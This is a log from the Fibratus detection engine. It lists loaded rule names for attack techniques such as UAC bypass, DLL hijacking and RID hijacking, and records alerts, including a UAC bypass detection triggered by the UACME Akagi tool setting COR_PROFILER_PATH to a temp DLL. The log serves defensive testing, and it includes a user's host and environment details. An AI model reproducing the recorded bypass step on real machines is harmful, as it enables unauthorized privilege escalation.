C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T18:17:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T18:17:30+01:00 level=info msg=bootstrapping with pid 15292. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T18:17:30+01:00 level=warning msg=unable to download loldrivers.io dataset: Get "https://www.loldrivers.io/api/drivers.json": dial tcp: lookup www.loldrivers.io: no such host source=loldrivers/client.go:127 +time=2025-12-04T18:17:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false min-buffers=>16 enable-thread=>true enable-registry=>true enable-handle=>false enable-audit-api=>true enable-mem=>true enable-net=>true enable-image=>true max-buffers=>36 stack-enrichment=>true enable-fileio=>true flush-interval=>1s enable-vamap=>true enable-threadpool=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ amqp=>[ durable=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus timeout=>5s vhost=>/ exchange=>fibratus] elasticsearch=>[ healthcheck-interval=>10s healthcheck=>true flush-period=>1s bulk-workers=>1 enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false trace-log=>false gzip-compression=>false timeout=>5s index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false enabled=>false endpoints=>[] timeout=>5s method=>POST serializer=>json enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T18:17:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:17:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:21:56+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 10668499 + Pid: 5304 + Tid: 15444 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:21:56.3972578 +0100 CET + Params: base_address➜ 7ff9e3260000, checksum➜ 65938, default_address➜ 7ff9e3260000, file_path➜ C:\Windows\System32\LocationFrameworkPS.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5304, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5304 + Ppid: 13964 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5304 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5304_PXAVMPIKRYFXSOZA EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1145 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"DyD0jT1cquP6CeApD1tINfYNIzt8Yr/tITM4C9PJ33k=" EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff8028f471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff8028f4690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff8028f4621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8028f46179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ff9db081014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ff9dae93640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ff9dae93a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa18e053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa18e04e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa18e084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa18e0701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa18e74294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa18e163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa18e16020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa18e3fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa162ed29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa189b7a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa189b759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa18b3b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa18b3cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffa18b3cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa18b38fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa18ad4304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffa189ab83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa189ab77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa189aa662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa189aa279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa18a7ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffa18b1717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffa189d77fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa189d62ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa18a28013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffa18b386ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa18b32d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffa18a7bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffa18a7b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ff9bcb6e4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ff9bcb6d534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ff9bcb6c73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ff9bcb6c4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa18ed847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffa18e763d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa16fbe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa18e8c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-04T18:22:40+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 10743035 + Pid: 7068 + Tid: 8372 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:22:36.9475214 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd6060473d8d0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 7068 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp 